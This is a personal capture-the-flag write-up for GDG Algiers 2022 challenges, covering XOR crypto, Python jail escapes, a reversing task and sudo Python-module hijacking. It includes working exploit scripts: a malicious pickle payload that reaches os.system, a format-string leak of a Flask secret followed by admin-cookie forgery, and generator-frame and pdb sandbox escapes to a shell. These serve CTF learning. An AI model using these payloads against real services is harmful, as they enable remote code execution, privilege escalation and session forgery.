Page MenuHomedesp's stash

gdgalgiers22.md
No OneTemporary

gdgalgiers22.md

### exorcist
originally [@Ray](https://maplebacon.org/authors/Ray/) worked on it but he couldnt get pwntools working on his machine so he got me to run it
but it doesnt work anyways and requires "bruteforcing" which i was like we should be able solve it with one req only and thats when i started getting interested in this chall
and then we went on a huge detour trying to figure out why the length is always changing
got so fed up that we went back home mid solving even tho this is a beginner chall lmfao
eventually after clearing my mind by going home i did end up solving it after i used ord the right way lmfao unicode variable length moment
using a really long message we can guarantee we get enough chunks to do a rotation key test based on the flag prefix and some guess work
`CyberErudites{Y0u_kn0w_h0w_T0_XOR}`
```py
from pwn import *
io = remote()'crypto.chal.ctf.gdgalgiers.com', 1002)
io.sendline(b"a"*60)
io.recvuntil(b">> > ")
cipher = io.recvuntil("\n").decode()
print(cipher)
output = [ord(i) for i in bytes.fromhex(cipher).decode('utf-8')]
print(output)
# print(bytes([o^v for o, v in zip(output, b"CyberErudites{")]))
# output = cipher.encode()
for i in range(len(output)):
op = output[-i:] + output[:-i]
print(len(op))
key = bytes([o^v for o, v in zip(op, b"CyberErudites{Y0u_kn0w_h0w_T"*10)])[:16]
print(len(key))
x = bytes([o^v for o, v in zip(op, key*10)])
print(len(x))
print(i)
print(x)
```
### type it
got stuck on validator and kevin higgs and py explorer and new chall came out so i tried solving this
lmfao literally was just unbalanced parentheses like sqli
`())(flag)#` gives `CyberErudites{wh0_N3Ed$_bR4CkeTS}` easily
(`type(flag)(flag)` creates string copying the contents of flag and the # comments out the unbalanced parentheses)
my original payload was `())((flag)` though - `type(())((flag))` gives a tuple created from iterating flag which we can easily convert back to the flag
used this since its basically just brackets lmao
### type it 2
unbalanced parentheses is fixed now, so no more funny shennanigans
most symbols are disallowed too so escape sequences arent easy to create
worse is coz of this we have nothing more than the return type to go off of
but hey in these cases why dont we side channel it like googlectf's log4j2?
we cant use square brackets or basically most things outside of function calls so thats annoying
but from poking around we can create tuples of ints after encoding the flag that have the `.count()` method and we can use the `or None` trick to leak whether the character exists at all
but that means we'd have to play word unscramble lmao no thanks
(and it turns out the flag has multiple same characters pretty frequently too sooo not enough information)
tried to do character by character brute force by popping stuff, but tuples are immutable and creating dicts and lists are all banned
eventually i realized i can obtain list types from `type.mro(<anything>)`, which means we can create lists but appending it is still not really possible since theres no curried function that we can chain to add to a list and `,` is also banned
but `+` aint banned so we can actually create multiple tuples/lists and then chain them together
but now the question comes the constructors for list/tuples need to be iterables and we cant make iterables in the first place thats the headache here
hold on we can make generators though if we skip all the spaces using brackets as delimiters
and if we can make it return arbitrary values of our choice we can just use it
turns out `((121)for(i)in(flag.encode())if(i)is(123))` is the prime way once we know which chars will only appear once (the curly brackets)
now we can just use `startswith` after converting flag to bytes and building a bytes object using the list we created (has to be bytes coz we cant use chr or quotes at all)
and ey we can side channel the flag consistently now by checking whether it returned bool or NoneType
```py
from pwn import *
import string
p = remote("jail.chal.ctf.gdgalgiers.com", 1304)
#p = process(['python3.10', 'jail.py'])
chars = []
"""
(flag.encode().startswith(
type(flag.encode())( #bytes class
type(type.mro(type))( #list class
(type(())( #create tuple from generator
((67) for (i) in (flag.encode()) if (i) is (123))) #generator; 123 is {, which is likely guaranteed to only show up once; brackets help eliminate space use
)
+(type(())(
((121) for (i) in (flag.encode()) if (i) is (123))) #the value assigned is for generating the characters
)
)
)
)) or (None) #show visible hint on whether its true or false, since type only show class names so we need to change it on false
"""
flag = "CyberErudites{"
payloadprefix = "(flag.encode().startswith(type(flag.encode())(type(type.mro(type))("
payloadsuffix = "))))or(None)"
while "}" not in flag:
for i in string.printable:
check = "+".join(["(type(())(((" + str(ord(c)) + ")for(i)in(flag.encode())if(i)is(123))))" for c in flag + i])
p.recvuntil("Input : ")
p.sendline(payloadprefix + check + payloadsuffix)
p.recvuntil("<class '")
resp = p.recvuntil(">")
if b'bool' in resp:
flag += i
print(flag)
```
`CyberErudites{ERRRROR_B4$E3_FTW!!!!}` what bases based on what :upside_down:
also i nearly popped a shell lol after realizing we can access globals with generator objects kekw
`((i.exec(i.input()))for(i)in(((i)for(i)in((type(())(flag.encode())))).gi_frame.f_globals.values())if(not((type(i))is(type("test")))and(not((type(i))is(type(None)))and(not((type(i))is(type(type(None)))))and(not((type(i))is(type(((i)for(i)in((type(())(flag.encode())))).gi_frame.f_globals))))))).send(None)` works flawlessly since it filters out everything except the `__builtins__` module
but alas it doesnt just filter internal functions but also everything with a underscore i forgot about that
### impossible challenge
sure its "impossible" if you run it coz rand basically never clashes thrice in a row
but the check is literally there lol and its an array with a simple xor key of `69` ~~haha nice~~
`CyberErudites{$eE_nOthING_I$_1mpo$$iBle}` shouldve left it for the new ppl in the team ngl
or at least try to do it the fun way with patching and dynamic debugging lmao
```py
v11 = [0]*40
v11[0] = 6;
v11[1] = 60;
v11[2] = 39;
v11[3] = 32;
v11[4] = 55;
v11[5] = 0;
v11[6] = 55;
v11[7] = 48;
v11[8] = 33;
v11[9] = 44;
v11[10] = 49;
v11[11] = 32;
v11[12] = 54;
v11[13] = 62;
v11[14] = 97;
v11[15] = 32;
v11[16] = 0;
v11[17] = 26;
v11[18] = 43;
v11[19] = 10;
v11[20] = 49;
v11[21] = 45;
v11[22] = 12;
v11[23] = 11;
v11[24] = 2;
v11[25] = 26;
v11[26] = 12;
v11[27] = 97;
v11[28] = 26;
v11[29] = 116;
v11[30] = 40;
v11[31] = 53;
v11[32] = 42;
v11[33] = 97;
v11[34] = 97;
v11[35] = 44;
v11[36] = 7;
v11[37] = 41;
v11[38] = 32;
v11[39] = 56;
print(bytes([69 ^ i for i in v11]))
```
### venomous
wondered for a bit what even is the privileged thing we gotta run coz theres no suid'd bins but then i saw `script.sh` is whitelisted in sudoers
i then originally tried editing `echo.py` but it doesnt seem to work, and i eventually realized `script.sh` overwrites it later on
`PYTHONINSPECT=1` also didnt work coz sudo clears env
and `sitecustomize.py` doesnt work coz `ctf-cracked` does not have a home dir and global `site-packages` aint modifiable
wanted to break the script so it sets our script to root rwx but that kinda doesnt matter coz we dont get elevated perms running root owned files anyway and the unicode bug got fixed
wouldve been cool if it was related tho https://bugs.python.org/issue35883
after a while of poking turns out its just trick python into loading echo as a directory named `echo` with `__init__.py` instead of `echo.py`
`CyberErudites{NothInG_L1K3_pOIs0n1nG_The_sn4Ke}`
### venomous 2
pretty sure the chall is broken coz i used the exact same payload as venomous 1 and got the flag lol
the `find -maxdepth 1 -delete` command doesnt seem to be working well for some reason
not complaining tho still a flag `CyberErudites{PTiv2BGsB13XBRZRKm5IrMyfXBkJcxBt}`
i wonder if the intended solution is related to zip files
### validator
originally other ppl worked on it and figured out you can do format string injection with SchemaError
and our goal is to leak the secret and encode our own session cookie into it to access the `/flag` endpoint
so it basically ended up being a pyjail and thats where i come into play
got insanely stuck though coz i couldnt think of a way to get globals without being able to call funcs like `__subclasses__()` or assign values like `sys.stdout.flush = breakpoint`
got some inspiration after poking at py explorer for a bit
so i thought back to why some `__init__` has `__globals__` and i remembered something edward brought up
if a class is custom made then its methods that is custom defined would have `__globals__` (what i understood is as long as its not a builtin method or a slot wrapper etc) then we have `__globals__`
with that i tried seeing if MyDict's `__setattr__`/`__getattr__` has `__globals__` and bruh sure enough there it is
we were literally there lmao i just distracted everyone by thinking of `__subclasses__()`
but now the problem comes - if we provide an invalid field name to the schema the data being formatted is a string for some reason
and if we give an invalid field type we get BOTH the MyDict object and the wrong field object and the wrong field object is always a python builtin data type which doesnt have `__globals__` so it errors out regardless
after poking around a bit again i realized an empty MyDict `{}` triggers `SchemaMissingKeyException` and that literally just gives MyDict only
eyyyyyy there we go `{0.__class__.__getattr__.__globals__[app].secret_key}` with `{}` and any field name + type yields us the secret key `3PmqjTIyNHJe3i5psDJNFAkwoJyUZTwy`
which we can just grab some flask cookie encode script online like https://gist.github.com/aescalana/7e0bc39b95baa334074707f73bc64bfe and set isAdmin to true then visit `/flag`
and we get the flag ey `CyberErudites{eV3n_PYTh0N_C4Nt_3$c4P3_fRoM_foRm4T_$Tring_buG$}`
```py
import requests
from flask.sessions import SecureCookieSessionInterface
from itsdangerous import URLSafeTimedSerializer
class SimpleSecureCookieSessionInterface(SecureCookieSessionInterface):
# Override method
# Take secret_key instead of an instance of a Flask app
def get_signing_serializer(self, secret_key):
if not secret_key:
return None
signer_kwargs = dict(
key_derivation=self.key_derivation,
digest_method=self.digest_method
)
return URLSafeTimedSerializer(secret_key, salt=self.salt,
serializer=self.serializer,
signer_kwargs=signer_kwargs)
def decodeFlaskCookie(secret_key, cookieValue):
sscsi = SimpleSecureCookieSessionInterface()
signingSerializer = sscsi.get_signing_serializer(secret_key)
return signingSerializer.loads(cookieValue)
# Keep in mind that flask uses unicode strings for the
# dictionary keys
def encodeFlaskCookie(secret_key, cookieDict):
sscsi = SimpleSecureCookieSessionInterface()
signingSerializer = sscsi.get_signing_serializer(secret_key)
return signingSerializer.dumps(cookieDict)
secret_key = '3PmqjTIyNHJe3i5psDJNFAkwoJyUZTwy'
print(requests.get('http://validator.chal.ctf.gdgalgiers.com/flag', cookies={'session':encodeFlaskCookie(secret_key, {'isAdmin':True})}).content)
```
### garbage truck
- literally no src and it just prints `empty garbage truck` for like most of the time
- other times it say `No.no.no you will break my truck with that!!!` which i assume is the list of filter words lmao
- the title says a lot of things about garbage so i was thinking gc which actually gives another message of sth like `you cannot get rid of the garbage like this`
- after trying to map out whats banned i realized i can `breakpoint()`
- which means i can literally escape to host now ey
- but wtf i cant see flag anywhere i cant cat the chall.py file and the file its supposed to be running from as indicated by `__file__` aka `/home/ctf/chall.py` doesnt even exist
- i also cant do `sh` for some reason i can only run commands from `os.system()`
- pdb `ll` doesnt give src either so i tried to pdb step and figure out what the script is about
- but aside from getting the banned wordlist regex `{'word': 'print|def|import|chr|map|os|system|builtin|exec|eval|subprocess|pty|popen|read|get_data|open|\\+'}` all i can get is that they seem to be running input, sanitize in a lambda, eval in a loop
- tried mapping the memory of the python process but i cant access `/proc/pid/mem` for some reason
- also i realized they were running busybox and ash after running `/proc/self/maps` so i can get a official shell now
- then i went back to thinking about gc and turns out gc has a function `get_objects()` that can print out all of the objects its tracking in memory still
- and lmao the flag is right there after we run `[o for o in gc.get_objects() if 'Cyber' in str(o)]`
- `CyberErudites{cl34N1N9_7H3_94r8493_W17h_gC}`
### kevin higgs the revenge
my angstrom payload almost works if you remove the frame opcode
but setattr got banned lol so my persistence mechanism is no more sadge
and i cannot for the life of me think of how to persist otherwise with the restraints so i gave up for a bit
after the success of validator i set out to ~~right my wrongs~~ i mean to redeem myself by solving all 3 challs i was looking at at the maple bacon meeting
so its time to come back to this chall
i started out by clearing my mind off angstrom's mess of a solve script and tried to build the angstrom pickle from scratch using [@Robert](https://maplebacon.org/authors/Nneonneo/)'s helper funcs he sent while we were doing dice @ hope with MMM
and wow in the meantime i really learnt a ton on how the pickle stack machine actually works
so i tried to figure out whether theres opcodes like build that [@Robert](https://maplebacon.org/authors/Nneonneo/) mentioned back then too but no all of the opcodes that interact with python is banned aside from reduce and global/stackglobal
but then while poking around i remembered i actually have one more layer of depth i can go for the setattr thing
and i realized `empty.__dict__` exists
so we just need a method to accept a value and we are gold
update doesnt really work coz `DICT` opcode is banned but `setdefault` works well (turns out i used it in maplectf ubc/saplingctf too but i forgot lol)
so with that we can just recreate the angstrom pickle this time in much more structured form that i actually understand well lmao
adding the "bruteforcing index" script from dice @ hope to find `os.wrap_close`'s index we get the script
```py
from pwn import *
from pickle import *
import struct
def flatten(x, res=None):
if res is None:
res = bytearray()
if isinstance(x, bytes):
res += x
elif isinstance(x, list) or isinstance(x, tuple):
for r in x:
flatten(r, res)
else:
print("WRONG TYPE FOR", x)
return res
def put(x):
return [BINPUT, struct.pack('<B', x)]
def get(x):
return [BINGET, struct.pack('<B', x)]
def pint(x):
return [BININT, struct.pack("<I", x)]
def getglobal(fqn):
module, name = fqn.split(".", 1)
return [GLOBAL, module.encode('utf8'), b'\n', name.encode('utf8'), b'\n']
def pstr(x):
x = x.encode('utf-8', 'surrogatepass')
return [BINUNICODE, struct.pack('<I', len(x)), x]
def pdict(*x):
return [MARK, x, DICT]
def ptuple(*x):
return [MARK, x, TUPLE]
def plist(*x):
return [MARK, x, LIST]
attr = ord('a') #automatic tracking of attribute names; start at initialization then iterate up on ascii value
def next(func, args=None):
global attr
attr += 1
return [BINGET, b'\0', #reuse setdefault since we memoized it
ptuple(
pstr(chr(attr)), #setdefault can only be used once effectively, so we need a different attribute name
getglobal('empty.' + chr(attr-1) + '.' + func), #get the next obj to work with
[ptuple(args), #optional - empty is fine
REDUCE] if args != None else [], #only functions have the extra reduce step; attributes dont - assume if args exist then it is a function
),
REDUCE, #and persist the object to the current attribute
POP]
#__class__.__base__.__subclasses__()[117].__init__.__globals__["system"]("ls -la")
#generate pickle based on provided index for os.wrap_close
def pkl(index):
global attr
attr = ord('a') #reset attr to initial attribute
p = [PROTO, b'\x05',
#get empty.__dict__.setdefault for setdefault(key, value) persistence
#we dont use update() since that requires a dict and DICT opcode is banned
getglobal("empty.__dict__.setdefault"),
MEMOIZE,
#empty.__class__.__base__
ptuple(
#key
pstr('a'),
#value
getglobal("empty.__class__.__base__")
),
#run empty.__dict__.setdefault('a', <class object> obtained from STACK_GLOBAL)
REDUCE,
POP, #discard the returned object we dont need it
#.__subclasses__()
next('__subclasses__', args=[]),
#.__getitem__(117)
next('__getitem__', args=pint(index)),
#.__init__
next('__init__'),
#.__globals__
next('__globals__'),
#.__getitem__('system')
next('__getitem__', args=pstr('system')),
#('sh')
getglobal('empty.' + chr(attr)), #finally grab f (current attribute storing the object) and call it
ptuple(
pstr('cat flag.txt'), #seems like its running busybox again #nvm tty is dead cant use ash anyway b"ash: can't access tty; job control turned off\n"
),
REDUCE,
STOP]
return flatten(p).hex()
for i in [138]: #range(130, 140): #get around 134 and see if any looks like it got a shell
s = remote('jail.chal.ctf.gdgalgiers.com', 1300)
#s = process(['python3.10', 'challenge.py'])
s.recvuntil('Enter')
payload = pkl(i)
print(payload)
print(i)
s.sendline(payload) #for some reason sh doesnt like interactive mode so gotta copy the payload and manually nc
resp = s.recvall(timeout=1)
if b'AttributeError' not in resp:
s.interactive()
else:
s.close()
```
and with this we can easily get the flag (after getting confused on why the shell aint popping which turns out to be them using busybox just like garbage truck but also disabling tty this time lol)
`CyberErudites{wOw_L3T$_CR0wn_THe_nEw_pIcKle_Ch4MP1On}`
really happy now that i understand exactly how my solve for kevin higgs work lmaooo
when i solved kevin higgs it was more of a trial and error until oh wow it works thing lmao
~~kinda like how i do dynamic analysis for rev challs tbh except i am reving my own script lmfao~~
### PY explorer
this chall had by far the least solves so i thought i prob wasnt on the right track when i thought about `sys.stdout.flush = breakpoint` and then realizing i cant find a func thats run either on exit or automatically periodically outside of sys which is not an imported module
coz everything like `object.__del__` (cannot modify builtin methods) to ExitStack callbacks (doesnt call unless we set it on an object) to atexit (not imported) to even `weakrefs.finalize` which HAS atexit that works even though i need to put the func in the constructor with an object (eg `object.__subclasses__()[270](object, breakpoint)`) and it doesnt seem to pop up unless im in interactive and even then it only pops up randomly anyway (turns out i also cant do sth like `object.__subclasses__()[270]._registry.keys().__iter__().__next__()._exitfunc = breakpoint` either coz exitfunc is readonly)
not to mention we need to access builtins functions to get breakpoint too (but theres a lot of funcs with `__globals__` in `__init__` it turns out)
but after solving kevin higgs v2 it reminds me i can use `os.wrap_close` here still
so i got `object.__subclasses__([137].__init__.__globals__['__builtins__'].__init__.__self__['breakpoint']` which is like 1/2 done (`__init__.__self__` is needed since PY explorer doesnt allow you to select from a dict twice in a row coz it has to be after choosing an attribute; i learnt that trick while investigating validator iirc)
then after looking up some more writeups on pyjails i realized ppl are finding `system()` in `__globals__` not `__builtins__`
which suddenly reminded me i swear i saw sys somewhere when i was getting the breakpoint func
turns out `os.wrap_close` has both `sys` and `__builtins__` lmao bruh i completely forgot
welp with selecting both object in the ui like this to do `object.__subclasses__()[134].__init__.__globals__['sys'].stdout.flush = object.__subclasses__([134].__init__.__globals__['__builtins__'].__init__.__self__['breakpoint']` we can get pdb running right after we finish selecting the objects
even though we have to blindly type in coz stdout flush wont work anymore lol
i thought it was broken until i typed `interact` and `*interactive*` popped out probably from stderr
so i just `import os; os.system('sh')` to drop into a shell with working flush ey
with that we can just `cat flag` and get the flag `CyberErudites{PY_0bj3cT7SS_AR3_MIN3}`
i was on the right track all along lmaoo
with that we've became jail bacon :sunglasses: full clearing is just that easy only took me like 19 hours yep

File Metadata

Mime Type
text/x-python
Expires
Sun, Jul 6, 5:14 PM (1 d, 4 h)
Storage Engine
local-disk
Storage Format
Raw Data
Storage Handle
70/14/289d0d432894d281940f08e49088

Event Timeline